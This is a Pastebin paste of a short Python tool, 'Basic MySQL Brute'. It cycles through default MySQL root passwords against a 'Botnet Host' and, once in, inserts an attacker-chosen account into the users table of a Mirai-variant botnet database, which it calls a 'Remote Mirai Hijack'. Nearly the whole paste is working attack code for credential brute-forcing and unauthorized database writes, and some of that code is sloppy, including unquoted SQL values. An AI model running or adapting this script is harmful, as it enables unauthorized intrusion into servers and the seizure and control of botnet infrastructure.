Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import mysql.connector
- from colorama import Fore, init
- import os
- # Change Here!
- combos = ["root:", "root:root", "root:botnet", "root:net", "root:password", "root:admin", "root:sql", "root:Mana"]
- if os.name == 'nt':
- os.system('cls')
- init(convert=True)
- else:
- os.system('clear')
- intro = f"""
- Basic MySQL Brute.
- """
- print(intro)
- variant = input("Variant (Database Name): ") # This is the database name, it is almost always the name of the variant.
- host = input('Botnet Host: ') # The IP address of the SQL server.
- username = input('Username Insert: ') # The username to add.
- password = input('Password Insert: ') # The password to add.
- sql = f"INSERT INTO users (username, password) VALUES ({username}, {password})" # SQL Payload/command.
- # This for loop iterates through each combo and attempts each one.
- for combo in combos:
- try:
- mydb = mysql.connector.connect(host=host, user=combo.split(":")[0], password=combo.split(":")[1], database=variant)
- mycursor = mydb.cursor()
- mycursor.execute(sql)
- mydb.commit()
- print("Remote Mirai Hijack has successfully been ran! ID:", mycursor.lastrow)
- print(f"Username and Password inserted into the table: {username}:{password}")
- break
- except:
- print(f"[Failed Attempt] {combo}")
Advertisement
Add Comment
Please, Sign In to add comment